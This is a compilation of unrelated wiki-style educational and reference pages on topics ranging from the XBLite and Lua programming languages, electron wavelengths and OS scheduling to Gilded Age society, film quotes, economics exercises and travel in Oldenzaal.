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XBLite is an offshoot of the XBasic programming language. The XBLite compiler translates programs from source form into assembly language. From this point, conventional tools build the final executable program or DLL library. The XBLite compiler will work on all Windows platforms including Win98, NT, 2000, and XP. XBLite is a "younger brother" of XBasic. XBasic was developed by Max Reason to be used under MS-Windows and LINUX OSs. In 2000, he made the entire language, compiler, and PDE freely available under an Open Source GPL. The XBasic language itself has not been altered so console programs in XBasic will run identically under XBLite. The XBLite compiler is also released under the same OpenSource GPL license. XBLite has been enhanced for use under Windows. It is now possible to: Create true command line Win32 console programs. Use the windows common controls for creating GUI applications. Easily add resources to your executable program. Use inline assembly language in your program. Modify and extend the XBasic language. And, all of the windows common controls and common dialogs are now available to create win32 native graphical user interfaces (GUIs). A common example of the language's syntax is the "Hello World" program: IMPORT "xst" ' Standard library : required by most programs DECLARE FUNCTION Entry () FUNCTION Entry () PRINT "Hello World!" a$ = INLINE$ ("Press Enter to quit >") END FUNCTION END PROGRAM IMPORT "gdi32" ' import a system library IMPORT "user32" ' import a system library DECLARE FUNCTION Entry () ' declare function Entry() FUNCTION Entry () ' begin function ' display a message box MessageBoxA (0, &"Hello World! ", &"Hello World Window", $$MB_OK) END FUNCTION ' end function END PROGRAM ' end program XBasic Home Page for XBLite XBLite Online Forum Site
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Family name: Goelet, Göelet May Wilson Goelet in New York: Ward McAllister's "Four Hundred," the "Ultra-fashionable 150" 1877, May Wilson and Ogden Goelet married in New York. 1897 July 2, Friday, Mr. Ogden Goelet, Mrs. May Goelet, and Mary Goelet attended the Duchess of Devonshire's fancy-dress ball at Devonshire House. 1903 November 10, Henry John Innes-Ker and Mary Goelet married. Mr. Ogden Goelet (at 502), Mrs. May Goelet (at 503), and Mary Goelet (at 228), called Miss Ogden Göelet, attended the Duchess of Devonshire's fancy-dress ball. Miss Mary Göelet was among the Suite of Ladies in the Oriental procession. Lady Violet Greville says that Miss Mary Goelet, "a very pretty girl, made quite a sensation at the Duchess of Devonshire's ball." According to the Pall Mall Gazette, "Miss Ogden Goelet, as a lady of the Assyrian court, was attired in a beautiful robe of golden gauze, glittering with multi-coloured jewels, and draped at the waist with soft sashes of crépe de chine in pale shades of mauve, pink, and blue." "Miss Goelett (Assyrian Queen), gold embroidered gauze with pink, blue, and mauve sashes." John Thomson's portrait of "Mary (née Goelet), Duchess of Roxburghe as Scheherazade" in costume is photogravure #243 in the album presented to the Duchess of Devonshire and now in the National Portrait Gallery. The printing on the portrait says, "Miss Goelet as Scheherazade," with a Long S in Miss. Nationality: both, American Roxburghe: Floors Castle, Scotland Goelets, in London: Wimbourne House Ogden Goelet (11 June 1851 – 27 August 1897) May (Mary Rita) Wilson Goelet (December 12, 1855 – February 23, 1929) Mary Goelet (6 October 1878 – 26 April 1937) Robert Wilson Goelet (1880–1966) Mary Goelet (6 October 1878 – 26 April 1937) Henry John Innes-Ker, 8th Duke of Roxburghe (24 July 1876 – 29 September 1932) George Victor Robert John Innes-Ker (7 September 1913 – 26 September 1974) Mrs. Cornelius Vanderbilt Duke of Marlborough Winston Churchill Nationality: both, American Roxburghe: Floors Castle, Scotland Goelets, in London: Wimbourne House Ogden Goelet (11 June 1851 – 27 August 1897) May (Mary Rita) Wilson Goelet (December 12, 1855 – February 23, 1929) Mary Goelet (6 October 1878 – 26 April 1937) Robert Wilson Goelet (1880–1966) Mary Goelet (6 October 1878 – 26 April 1937) Henry John Innes-Ker, 8th Duke of Roxburghe (24 July 1876 – 29 September 1932) George Victor Robert John Innes-Ker (7 September 1913 – 26 September 1974) Mrs. Cornelius Vanderbilt Duke of Marlborough Winston Churchill "At the time of her marriage to the Duke of Roxburghe, [Mary Goelet] was the wealthiest American heiress, with a dowry of twenty million dollars, exceeded only by Consuelo Vanderbilt in the wealth brought to the transatlantic marriages of the pre-1914 era" ("Mary Goelet." Wikipedia). The Suite of Ladies in the Oriental procession at the Duchess of Devonshire's 1897 fancy-dress ball included the following: a Miss West, Mary Goelet, Lady C. Grosvenor, and Miss Oppenheim. The identity of Miss West is even more uncertain than that of Lady C. Grosvenor or Hon. R. Grosvenor. Mary Goelet was 18 years old at the time of the ball; Lady Constance Grosvenor almost 22; Miss Rosalind Oppenheim's age is uncertain, but she cannot be younger than about 30 (her father remarried in 1868). "Mary Wilson Goelet". Wikipedia. 2020-11-24. https://en.wikipedia.org/w/index.php?title=Mary_Wilson_Goelet&oldid=990448790. Greville, Violet, Lady. "Place Aux Dames." The Graphic 4 September 1897, Saturday: 27 [of 36]. British Newspaper Archive http://www.britishnewspaperarchive.co.uk/viewer/bl/0000057/18970904/032/0027. 1a–3c [of 3]. 1899. "Miss Goelet as Scheherazade." National Portrait Gallery https://www.npg.org.uk/collections/search/portrait/mw158606/Mary-ne-Goelet-Duchess-of-Roxburghe-as-Scheherazade. "Ogden Goelet". Wikipedia. 2020-11-24. https://en.wikipedia.org/w/index.php?title=Ogden_Goelet&oldid=990463076. "Mary Goelet". Wikipedia. 2020-11-23. https://en.wikipedia.org/w/index.php?title=Mary_Goelet&oldid=990260921. https://en.wikipedia.org/wiki/Mary_Goelet. "Henry John Innes-Ker, 8th Duke of Roxburghe." "Person Page". Retrieved 2020-12-07.
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So far, we have considered how quantum physics applies to photons, the quanta of light. In reality, every other particle is also a quantum, but you only need to know about photons and electrons. The image on the right shows what happens when you fire electrons through a pair of slits: it arrives in lumps, but you get fringes due to superposition as well. The electrons are behaving as both waves and particles. Actually, they are behaving as quanta. The equations describing quantum behaviour in electrons are similar to those describing it in photons. We know that, for photons: f = E h {\displaystyle f={\frac {E}{h}}} In suggesting that electrons are quanta, we assume that they must have a frequency at which the phasors representing them rotate. We also know that h is a constant; it does not change. So, when adapting the above equation to apply to electrons, all we need to adapt is E. In electrons, this energy is their kinetic energy. If the electron has some form of potential energy, this must first be subtracted from the kinetic energy, as this portion of the energy does not affect frequency. So: f = E k i n e t i c − E p o t e n t i a l h {\displaystyle f={\frac {E_{kinetic}-E_{potential}}{h}}} If electrons exhibit some wavelike properties, they must also have a 'wavelength', known as the de Broglie wavelength, after its discoverer. This is necessary in order to work out a probability distribution for the position of an electron, as this is the distance the electron travels for each phasor arrow rotation. The de Broglie wavelength λ is given by the equation: λ = h p = h m v {\displaystyle \lambda ={\frac {h}{p}}={\frac {h}{mv}}} , where h = Planck's constant, p = momentum, m = mass of electron = 9.1 x 10−31kg and v = velocity of electron. Potential difference is what causes electrons to move. You already know how power is related to charge, voltage and time: P = Q V t {\displaystyle P={\frac {QV}{t}}} Since power is the rate at which work is done: W = Q V {\displaystyle W=QV\,} We know that the charge on an electron equals -1.6 x 10−19, and that work done is energy, so: E k i n e t i c = 1.6 × 10 − 19 × V {\displaystyle E_{kinetic}=1.6\times 10^{-19}\times V} Energy, in the SI system of units, is measured in Joules, but, sometimes it is measured in electronvolts, or eV. 1 eV is the kinetic energy of 1 electron accelerated by 1V of potential difference. So, 1 eV = 1.6 x 10−19 J. 1. An electron moves at 30,000 ms−1. What is its de Broglie wavelength? 2. 3. What is its kinetic energy, in eV? 4. Given that it is travelling out of an electron gun, what was the potential difference between the anode and the cathode? 5. An electron is accelerated by a potential difference of 150V.
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Harold J. Morowitz (December 4, 1927 – March 22, 2016) was an American biophysicist who studies the application of thermodynamics to living systems. His primary research interest is the origin of life. The purpose of this book is to discuss and present evidence for the general thesis that the flow of energy through a system acts to organize that system. Energy Flow in Biology: Biological Organization as a Problem in Thermal Physics (1968), p. 2. Italics are in the original. Later quoted on the inside front cover of The Last Whole Earth Catalog. The Facts of Life: Science and the Abortion Controversy. 1992. ISBN 0195090462. Co-written with James Trefil. All quotes from this trade paperback edition. Italics as in the book While no one is going to make a decision on abortion purely on scientific grounds, we feel that everyone, at the very least, ought to get the facts straight. Preface (pp. vii-viii) This type of answer is profoundly unsatisfying, but it’s about all you can expect if you ask the wrong question. Chapter 1, “Asking the Right Question” (p. 7) Because of the importance of the Judeo-Christian tradition in America, it is important to understand abortion as dealt with in the Old Testament. The most significant fact is that it is never mentioned. Chapter 1, “Asking the Right Question” (p. 13) All forms of life are related to each other, and the basic mechanisms that drive all of them are the same. Chapter 2, “The Web of Life” (p. 27) The fact that both you and the amoeba use these universal molecules in your energy metabolism is as striking an example of the relatedness of life as can be found. Chapter 2, “The Web of Life” (p. 29) At the chemical level, human beings just aren’t all that different from pumpkins or any other life forms. Chapter 2, “The Web of Life” (p. 39) We recognize that to many people such a statement of cold biological fact misses something essential about the developing fetus. We recognize that there is a strong inclination to assign personhood or a soul to the single cell that results from fertilization on the grounds that it represents “potential life.” Our position is that this inclination, as strongly as it may be favored on religious or social grounds, has no basis in science because, as we point out in Chapter 1, personhood and soul are simply not scientific concepts. Chapter 3, “The Biology of Conception” (p. 44) The end point of this reasoning is that any policy based on assigning a unique status to conception in the emergence of humanness must be seen as coming from subjective evaluations—evaluations that may not be shared by others. Subjectivity does not, of course, does not make these arguments wrong; it simply means that they cannot be given the kind of public universality we assign to arguments grounded in scientific understanding. Chapter 3, “The Biology of Conception” (p. 44) Even with this abbreviated sketch of the process of fertilization, one thing is obvious. When biologists object to statements about life beginning at conception, they are not splitting hairs or being pedantic. There is no time in the sequence we’ve just described where new life is created. In fact, from the point of view of the biologist, at conception, two previously existing living things come together to form another living thing. Chapter 3, “The Biology of Conception” (pp. 46-47) The net result is that slightly fewer than a third of all conceptions lead to a fetus that has a chance of developing. In other words, if you were to choose a zygote at random and follow it through the first week of development, the chances are less than one in three that it would still be there at full term, even though there has been no human intervention. Nature, it seems, performs abortions at a much higher rate than any human society. It is simply not true that most zygotes, if undisturbed, will produce a human being. Chapter 3, “The Biology of Conception” (p. 51) Decisions cannot be made on purely scientific grounds. We can, however, use scientific information to guide our moral and political judgments. No matter which side of the debate we take in any public dispute, we should, at a minimum, get the facts straight and understand the scientific dimensions of the problem. Chapter 8, “Conclusions” (p. 151) It is clearly in the best interests of everyone involved that these decisions be made with a maximum of compassion, a minimum of bureaucratic intervention, and the absence of attorneys. Afterword (p. 164; statement of Harold J. Morowitz) In the end, the abortion controversy comes down to one question: Will this particular pregnancy be terminated or not? There are only two possible choices, neither good. One is to abort the fetus. The other is to demand that the pregnancy be brought to term and, in effect, to compel the birth of an unwanted child. The second choice is repugnant to me. Not only does it entail real and immediate risks for the mother, but it may create a lifetime of misery for the child – misery that will, in all likelihood, persist for generations. Frankly, I can imagine fewer human acts more deeply evil than bringing an unwanted child into the world. Afterword (pp. 165-166; statement of James Trefil) Wikipedia has an article about: Harold J. Morowitz
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The Magnificent Ambersons is a 1942 film about the social decline, ruin and fall of the aristocratic Amberson family at the turn of the century with the coming of the industrial age and the rise of the automobile. Written and directed by Orson Welles, based on novel by Booth Tarkington. Real life screened more daringly than it's ever been before! taglines The magnificence of the Ambersons began in 1873. Their splendor lasted throughout all the years that saw their Midland town spread and darken into a city. In that town in those days, all the women who wore silk or velvet knew all the other women who wore silk or velvet and everybody knew everybody else's family horse and carriage. The only public conveyance was the streetcar. A lady could whistle to it from an upstairs window, and the car would halt at once, and wait for her, while she shut the window, put on her hat and coat, went downstairs, found an umbrella, told the "girl" what to have for dinner and came forth from the house. Too slow for us nowadays, because the faster we're carried, the less time we have to spare. And now Major Amberson was engaged in the profoundest thinking of his life. And he realized that everything which had worried him or delighted him during this lifetime, all his buying and building and trading and banking, that it was all trifling and waste beside what concerned him now. For the Major knew now that he had to plan how to enter an unknown country where he was not even sure of being recognized as an Amberson. Something had happened, a thing which years ago had been the eagerest hope of many, many good citizens of the town. And now it came at last: George Amberson Minafer had got his comeuppance. He'd got it three times filled and running over. But those who had longed for it were not there to see it. And they never knew it, those who were still living had forgotten all about it, and all about him. [in a letter to Isabel] And so we come to this, dear. Will you live your life your way, or George's way? Dear, it breaks my heart for you, but what you have to oppose now is your own selfless and perfect motherhood. Are you strong enough, Isabel? Can you make a fight? [to George] Ah, life and money both behave like loose quicksilver in a nest of cracks. When they're gone, you can't tell where, or what the devil you did with them... I've always been fond of you, Georgie. I can't say I've always liked ya. But we all spoiled you terribly when you were a boy... There have been times when I thought you ought to be hanged. And just for a last word, there may be somebody else in this town who's always felt about you like that. Fond of you, I mean, no matter how much it seems you ought to be hanged. Uncle Jack: Eighteen years have passed, but have they?... By gosh, old times certainly are starting all over again. Eugene: Old times. Not a bit. There aren't any old times. When times are gone, they're not old, they're dead. There aren't any times but new times. Lucy: What are you studying at school? George: College. Lucy: College. George: Oh, lots of useless guff. Lucy: Why don't you study some useful guff? George: What do you mean, useful? Lucy: Something you'd use later in your business or profession. George: I don't intend to go into any business or profession. Lucy: No? George: No. Lucy: Why not? George: Well, just look at them. That's a fine career for a man, isn't it? Lawyers, bankers, politicians. What do they ever get out of life, I'd like to know. What do they know about real things? What do they ever get? Lucy: What do you want to be? George: A yachtsman! George: I said, "Automobiles are a useless nuisance." Never amount to anything but a nuisance. They had no business to be invented. Uncle Jack: Of course, you forget Mr. Morgan makes them. Also did his share in inventing them. If you weren't so thoughtless, he might think you're rather offensive. Eugene: I'm not sure George is wrong about automobiles. With all their speed forward, they may be a step backward in civilization. It may be that they won't add to the beauty of the world or the life of men's souls. I'm not sure. But automobiles have come. And almost all outward things are going to be different because of what they bring. They're going to alter war and they're going to alter peace. And I think men's minds are going to be changed in subtle ways because of automobiles. And it may be that George is right. It may be that in ten or twenty years from now, if we can see the inward change in men by that time, I shouldn't be able to defend the gasoline engine but would have to agree with George: that automobiles had no business to be invented. Real life screened more daringly than it's ever been before! From the Man who Made "The Best Picture of 1941" Orson Welles' Mercury Production of Booth Tarkington's Great Novel Joseph Cotten - Eugene Dolores Costello - Isabel Anne Baxter - Lucy Tim Holt - George Agnes Moorehead - Fanny Ray Collins - Jack Erskine Sanford - Roger Bronson Richard Bennett - Maj. Amberson Orson Welles - Narrator Don Dillaway - Wilbur Minafer Gus Schilling - Drug Clerk James Westerfield - Policeman at Accident Wikipedia has an article about: The Magnificent Ambersons (film) Wikimedia Commons has media related to: The Magnificent Ambersons (1942 film) The Magnificent Ambersons quotes at the Internet Movie Database The Magnificent Ambersons at Rotten Tomatoes The Magnificent Ambersons at Filmsite.org
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In economics, objects people want are called goods (tangible) or services (intangible). Goods exist or are created through value addition, and can be bought and sold at a price; this includes such things as foods, animals, computers, and jewelry. Even services, which are things people can either do or have done, are a type of good. A service might be vacuuming a room or driving someone to the airport. Goods are usually classified into two groups. Some goods, such as food, and clothing, are things everyone needs. They are called necessities. Other goods, such as jewelry and stereo systems, are luxuries, meaning that while a person may want them very badly, they can live and function without them. People have numerous wants and desires, but the resources to fulfill these wants and desires are limited. This gap between desires and resources creates scarcity. It is important to understand that goods and services are limited; there is only a finite amount of resources in the world. Of course, since there is a limited amount of goods, there may be a problem if people want more of a good than there is available. If there is less of a good than people want, it is scarce. Some goods are not scarce; if no more of a good would be consumed if it were free, it is an abundant or free good. This means that there is enough, or more than enough, of the good in question. Scarcity is sometimes referred to as the fundamental fact of economics. There are not enough goods to fulfill all of the wants that people have. This has been true in the past, and it seems that it will remain true for the foreseeable future. Because of this dilemma, there has to be some way to partition goods among the people who want them. In some cultures, this problem is solved by a market pricing system, where the most serious customers are matched with the best suppliers, while in other countries it is determined by some other system, such as everyone getting an equal share regardless of needs, desires, or utility. Name 3 luxuries you own. Name 3 necessities you own. Is air a good, or not? Explain. Can something be a necessity for one person, but a luxury for another? What is more scarce, diamonds or wheat? In what way are goods distributed in modern society? Diamonds, cars, departments, apple computers...etc. Food cans, pens for studies, online service for e-working...etc. Air is not a good. In the theory of economy, a "Good" is a product that contain expending "Opportunity Cost" in its production, such as rent on the factory or/and salaries for the workers, which the producer could use these expenses on other production strategies. The production of air need not any opportunity cost, thus air could not be classified as a good. Yes, it is possible that something be a necessity or sexy for one person, but a luxury for another. For example, a blue-collar family may think that a sports car is luxury for them as they may live normally without purchasing this good; but for a sports-car player, it's necessary for him/her to practice his/her skill with a sports car.
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This is a unified categorization guide for the School of History. The categorization of History pages is very important, and should be considered a high priority for the School—the Browse feature at Wikiversity relies 100% on proper categorization, as does the History Portal. Unless projects and Departments are properly categorized, new participants are much less likely to find the content they're looking for, and are less likely to contribute to the School. It's worth noting that Portal:History gets significantly more traffic than School:History does. No History pages should be placed in Category:History except for major portal pages. All other History pages should be filed under the History sub-categories (as follow). Where appropriate, all projects should be categorized under each of the following three categories (in a relevant sub-category): Category:Historical Subjects by Area (for the region the project applies to) Category:Historical Subjects by Period (for the time period the project took place in) Category:Historical Subjects by Topic (for any topical categories which might apply) Not all of these categories will always apply—a Period category is unlikely to be helpful for a History project spanning centuries, for example. It is helpful to browse the history categories in the areas you are interested in, so that you will be most familiar with where things should go. If you would like your learning project to be listed at Wikiversity:Browse, you should add it to Category:Learning projects. For additional exposure, it would be good to place your learning projects in the appropriate subcategory of Category:Resources by type. This will especially help other instructors who are thinking of developing similar sorts of materials for their own courses. It may also be useful to list your projects under the appropriate learning level: Category:Pre-school Education, Category:Primary education, Category:Secondary Education, Category:Tertiary Education, Category:Non-formal Education, or Category:Research. Examples: US History, History of Germany, etc. National histories should be filed under Category:History by Nation in addition to the subject-specific categories listed above. Remember when doing so to use the format "[[Category:History by Nation|[Nation Name]]]", as many national history project pages start with "history of" instead of the nation's name. Example: "[[Category:History by Nation|Germany]]", for History of Germany. Doing this ensures that the page will be categorized in a way that will make it easier to find. In order to be listed at Wikiversity:Browse, Category:Departments should be added to all departments. Additionally, the School of History has its own internal department category: Category:History departments.
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Preemption as used with respect to operating systems means the ability of the operating system to preempt (that is, stop or pause) a currently scheduled task in favour of a higher priority task. The resource being scheduled may be the processor or I/O, among others. Non-preemptability arises, for instance, when handling an interrupt. In this case, scheduling is avoided until the interrupt is handled. The schedulers used in most modern operating systems, such as various flavours of Unix, can preempt user processes. This is called preemptive multitasking, and is in contrast to cooperative multitasking wherein a process "gives away" its time by utilizing kernel resources or by specifically calling a kernel routine to allow other processes time to run. Some operating systems' schedulers (including Linux as of the 2.6 series) have the ability to preempt a process while it is processing a system call as well (a preemptible kernel). Sinclair QDOS was the first preemptive multitasking system available for home users (1984). Other preemptive operating systems include AmigaOS, the Windows NT family (also XP or Vista), Linux, *BSD, and Mac OS X. Examples of cooperative operating systems include Windows for Workgroups (also known as Windows 3.1 or 95), NetWare, and Mac OS versions 9.x. Linux kernels prior to Linux 2.6 were also nonpreemptive, but later releases implemented the preemptive model. Several commercial versions of UNIX are preemptive, including Solaris and IRIX. The person currently at the cashier may be interrupted and have to wait for another customer before finishing. In the Linux kernel, the scheduler is called after each timer interrupt (that is, quite a few times per second). It determines what process to run next based on a variety of factors, including priority, time already run, etc. The implementation of preemption in other kernels is likely to be similar. Making a scheduler preemptible has the advantage of better system responsiveness and scalability, but comes with the disadvantage of race conditions (where the executing process accesses the same resource before another preempted process finished using it). The simplest pre-emptive scheduling algorithm is round-robin. The round-robin scheduler keeps all the runnable processes in a circular queue. Every time the hardware timer interrupts the currently-running process, (or when that process voluntarily gives up control), the scheduler puts that process at the back of the queue. Then the scheduler fetches the process at the head of the queue and runs it. (FIXME: consider splitting this section out to a separate "Priority Pre-emptive Scheduling" page) Nearly all modern operating systems use priority pre-emptive scheduling. Most real-time computer systems use fixed priority pre-emptive scheduling -- usually rate-monotonic scheduling or deadline monotonic scheduling. rate monotonic scheduling: a job with a lower frequency of activation is assigned a lower priority than (and so is pre-empted by) all jobs with a higher frequency of activation. RMS will always meet deadlines if the CPU utilization is less than ln 2 ≈ 0.693147 ... {\displaystyle \ln 2\approx 0.693147\ldots } . deadline monotonic scheduling: a job's priority is inversely proportional to its relative deadline. (Deadline monotonic scheduling becomes equivalent to rate monotonic scheduling in the special case where each job's relative deadline is equal to its period). earliest-deadline first scheduling: a job's priority is inversely proportional to its absolute deadline. The difference between deadline monotonic scheduling and earliest-deadline first scheduling is that DM is a static priority algorithm, EDF is a dynamic priority algorithm. EDF can guarantee that all deadlines are met provided that the total CPU utilization is less than 1 {\displaystyle 1} . Dynamic priority algorithms have the advantage that they can successfully schedule some job sets (i.e., not miss any deadlines) that cause static priority algorithms to fail (i.e., miss deadlines). Fixed priority algorithms have the advantage over dynamic priority algorithms that if the system experiences an overload at a certain priority level -- so many jobs are scheduled at that priority that it's impossible for any scheduler to meet all their deadlines -- fixed priority schedulers can still guarantee that all higher-priority jobs will still be scheduled and still meet their deadlines. Fixed priority algorithms also have the advantage that they are easier to implement. People who implement priority-based schedulers need to worry about two potential problems: process starvation: If one process requests all of the CPU time it can get -- because of an accidental overload or malicious denial-of-service attack -- all lower-priority processes will be locked out. priority inversion: (FIXME:) Round-robin schedulers have the advantage that those priority-related problems cannot occur. Some schedulers implement some mixture of the above scheduling algorithms. Adaptive partition schedulers uses priority-based scheduling when the system isn't under full CPU load, but also guarantee that even low-priority services get some minimum amount of CPU time even when the system is heavily loaded using a round-robin-like algorithm. Many real-time systems have a lowest-priority "background task" that does not have any hard real-time deadline, and the system only runs it in the otherwise idle spare time left over after all the realtime tasks are done. Some of those systems use "dual kernels", with an entire general-purpose OS such as Linux with its own scheduler running as a single lowest-priority task on top of a hard real-time kernel. (When the realtime kernel uses rate monotonic scheduling, that non-real-time task is guaranteed to get at least 0.3 {\displaystyle 0.3} of the CPU time). In addition to the timer tick interrupt, most systems have other hardware interrupts. (FIXME: something about critical sections) (FIXME: something about deterministic response times vs. jitter) (FIXME: something about streaming audio data?) The worst-case interrupt latency is at least the length of the longest critical section in the kernel. Some high-availability operating systems support virtual device drivers -- the amount of code that runs with the highest priority and directly manipulates hardware, such as interrupt service routines, is minimized; and most of the device driver work is handled in user space by a second-level interrupt handler. (FIXME: possibly something about hardware interrupts triggering first-level interrupt handlers, and the timer tick interrupt running the scheduler which may in turn run a second-level interrupt handler? Or is this already covered by Embedded Systems/Interrupts ?) We talk more about various hardware interrupts in a later chapter, Operating System Design/Processes/Interrupt. Many computer systems are designed to accept new tasks at any time. If there is only one task running -- or if all the other tasks fit into the times when that task couldn't do anything useful because it is waiting for the disk to spin, the network card to finish a packet, etc -- then that task finishes in some minimum amount of time. But as other tasks are added to the system which preempt that task, wall-clock time required for the system to finish the task becomes unbounded. (FIXME: say something about "starvation-free" here) Hard real-time computer systems are designed to deliberately refuse to accept new tasks. Programmers carefully design real-time tasks in such a way that is relatively easy to calculate the worst-case runtime (i.e., avoiding the halting problem). Given that runtime, the desired deadline for the task, and the task itself, one can use rate-monotonic analysis to decide if, after adding that task to all the other tasks already added to a system, it is possible to not only meet the desired deadline for this task but also continue to meet all the desired deadlines for all those previous tasks -- and if it's not possible to guarantee that all those deadlines will continue to be met, refuse to accept that new task. Some people build systems that allow new tasks to be presented to the system, and design the system to automatically do RMA analysis, and then the system decides whether or not to accept this new task. Other people manually do RMA by hand to decide which tasks to allow in a system, and then hard-wire the system to only run those tasks -- these systems are much simpler. People who build hard real-time systems think that occasionally refusing to accept some new task is well worth the guarantee that all previous tasks will still meet their deadlines. Phil Koopman. "Real Time Scheduling Analysis for Critical Systems". Eric Verhulst, Raymond T. Boute, José Miguel Sampaio Faria, Bernhard H.C. Sputh, Vitaliy Mezhuyev. "Formal Development of a Network-Centric RTOS: Software Engineering for Reliable Embedded Systems". Section 2.3.4: Rate Monotonic Analysis. p. 24. 2011. Barry Watson. "The Design of the Everyman Hard Real-time Kernel". 2014. p. 15. Kerry Johnson, Jason Clarke, Paul Leroux, and Robert Craig. "Choosing the best real-time scheduling method for your embedded device". 2006. "Partition Scheduling". David Kleidermacher and Mark Griglock. "Safety-Critical Operating Systems". 2001. David Kleidermacher. "Optimizing RTOSes for HA architectures". 2002. Paul N. Leroux and Jeff Schaffer. "Exactly When Do You Need Real Time?". 2006.
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Lua can be used both as a scripting/programming language on its own, and as an integrated scripting language for other platforms. This lesson focuses on using Lua with the interpreter available from Lua.org. See the next lesson to learn how to use Lua for scripting MediaWiki Scribunto/Lua extension templates now available on Wikiversity. The Lua interpreter, which can be downloaded from the official Lua website. The package includes the Lua compiler and a few sample scripts. The command line Lua interpreter is a nifty tool if you need to quickly test some code. It executes lines of code as soon as you hit the Return key, and blocks of code (such as conditional statements and loops) after you complete them (with the end keyword). If you have Lua installed, you can start the terminal and run lua to start the interpreter. If not, you can download and install it, use the repl.it Lua emulator in the browser or the Lua demo. Here is an example session: Lua 5.1.1 Copyright (C) 1994-2006 Lua.org, PUC-Rio > print("Hello, world!") Hello, world! > print(5+7) 12 > if true then >> print(true) >> end true The first line uses the function print to output the string "Hello, world!". Numbers and booleans may also be output using print. The interpreter acknowledges code blocks with an extra '>' at the prompt. When done, hit Ctrl-D (EOF) to close the interpreter. While entering commands at the command line prompt is suitable for testing, it is not for executing scripts. Scripts are usually saved in files with the .lua file extension. To execute a script, the filename is passed as an argument to the interpreter. For example: lua myscript.lua You can compile your scripts using luac, the Lua compiler. luac inputfile This will output the bytecode to a file named luac.out. Use the -o argument to change this: luac -o outputfile inputfile The rest of the lesson will simply list the code—it is up to you to try it in the interpreter or save it in a file and execute it. Lua is a dynamically-typed language. Variables don't have types, only values have types. This means that a variable can be set to a value of a type, and then to a value of another type. Consider this: a = 15 print(a) a = "Hello" print(a) Output: 15 Hello This has advantages and disadvantages. It allows for different types of values to be used easily, but also means that unexpected types may be used, causing errors. The following basic types are available in Lua: boolean: Can be true or false number: A real number (floating-point precision) string: A string of characters, such as "Hello, world!". function: Functions are first-class values in Lua (more on this later). userdata: C objects passed to Lua (more on this later). thread: Lua coroutines (more on this later). table: Tables are flexible data structures (more on this later). nil: Type of the value nil. nil represents the absence of a value ← Background Lua Scribunto Lua →
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Oldenzaal is in Overijssel. Oldenzaal is a city in the east of Overijssel, separated from the German Western Plains and Münsterland regions by the Dutch municipality of Losser. Oldenzaal, after having received city rights in 1249, has been a part of the Hanseatic League as a subsidiary city of Deventer. Oldenzaal is connected to the Zutphen-Glanerbeek line, on which Syntus services trains using the name Twents. Nowadays 52.30636.93381 Oldenzaal Railway Station functions as the terminus station in the eastern direction. Trains to Zutphen leave every 30 minutes at x:02 and x:32. No trains leave the station between 00:32 and 07:32. Even though Oldenzaal functions as the terminus, the line still connects to Bad Bentheim on the German side of the border. This part of the line, however, is only used for freight. From the train station, buses run to Borculo (line 62), Dennekamp (line 62) Neede (line 66) and more locally to De Lutte (line 593). Oldenzaal is located just north of the A1 motorway, which runs from Amsterdam all the way to Germany, where it continues as the Autobahn 30 towards Osnabrück. Oldenzaal is the last major Dutch city on the highway, meaning that when travelling from Amsterdam, Hilversum, Amersfoort, Apeldoorn, Deventer, Almelo and Hengelo directions are as straightforward as can be. All that you need is to head for the city east of the one you're in via the A1 and staying on the highway for quite some time. It's best to explore Oldenzaal's city centre on foot. The rest of the city can be explored by bike, car or bus, whichever has your preference. 52.311546.927671 Hotel de Kroon, Steenstraat 17, ☏ +31 541 512 402, [email protected]. €69. (updated Oct 2017) 52.31346.929532 Hotel Ter Stege, Marktstraat 1, ☏ +31 541 512 102. €87. (updated Oct 2017) 52.308326.8873 Hotel Erve Hulsbeek, Oude Almeloseweg 13, ☏ +31 541 513 311, [email protected]. €124. (updated Oct 2017) 52.309626.95964 Landgoed de Wilmersberg, Rhododendronlaan 7, ☏ +31 541 585 555, [email protected]. €110. (updated Oct 2017) 52.318936.966835 Hotel 't Kruisselt, Kruisseltlaan 3, De Lutte, ☏ +31 541 551 567, [email protected]. €112. (updated Oct 2017) 52.320516.970596 Fletcher Hotel de Grote Zwaan, Bentheimerstraat 21, De Lutte, ☏ +31 541 551 215, [email protected]. €16.15.
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41 Web Science/Part1: Foundations of the web Web Science/Part1: Foundations of the web/MoocIndex Web Science/Part1: Foundations of the web/Web content/Problem setting for web content formats edit MOOC index Learning goals Video Script Quiz Further reading Discussion In this lesson you will learn some basics on the Question: Why Web Content needs structure and proper markup. We have talked about sending messages between computers in the internet, but what actually do we want to do in the Web? We want to share content between as many people as possible! What is content? (display the following examples in different browswers) Content may be an image (depict the image of a record cover of BandX opened in a Web browser from a file) an audio file (run an audio for a few seconds without showing anything else in the Browser) a piece of text (depict some description of BandX opened in a Web browser from a file) contents from a database (depict some listing of 3 records including one record of BandX, something like the following. Leave in the example with Bobby McFerrin, because it shows something that is an artist and an album title at the same time; also from a file) Rene's record collection Tom Jobim: Rio revisited agua de beber 3:49 aguas de marco 4:07 chega de saudade 3:48 corcovado 3:05 Bobby McFerrin: Bobby McFerrin Dance with me 4:09 Feline 5:08 and in fact we may even want to share some executable code that let's us type some search, drag-and-drop some record into our local collection or something like this. AND we do not want to have such content be separate from each other, but it should be nicely arranged and layouted. But what happens if we just provide the content of a file as it is. Then an image looks like this (depict the content of image as a Hex stream) and an audio file looks about the same (show another Hex stream). This means that it is not sufficient to have the content, but the content must be marked up and structure to clarify what kind of content it is and how it is structured and how it should be managed and layouted. Clearly we could build a useful piece of software that would use the internet and would be able to share and exchange content. However, an important lesson to learn from what we know about the internet so far is that it is not a good idea to prescribe a particular piece of software that maybe only runs on one operating system. But, to exploit the creativity of people, the scalability of decentralization and the positive competition between organizations and individuals, one must rather prescribe some simple standards for describing content that can be understood by many different pieces of software on many computers, handhelds, smartphones, TV sets or tablets with different screen sizes, resolutions, and modes of interaction (PROBLEM 1). Considering the example content of our record listing, we observe the second challenge (PROBLEM 2): we must be able to structure content of one type, such as text, into its different parts, e.g. headings, paragraph and lists and not just display the content on the screen like one stream of characters. Then the third problem (PROBLEM 3) that we run into when we want display content and interacting with content is that we must come up with a content format that lets us arrange different types of content in a readable manner, e.g. we must be able to arrange the music cover of BandX next to the text paragraph describing the band. Finally, problem 4 (PROBLEM 4), the reverse side of digesting Web content is producing Web content. Producing content must be simple enough to understand for people and for the developers of different applications for different media formats So, how can we solve these issues? In the past you will have encountered different languages that allow you to distinguish content proper from how the content is structured and arranged. You could choose a programming language like Java (a programming language like Java); This would be highly flexible, because you can program everything. But this is still a bad idea, because the overhead for writing down content proper is very large a markup 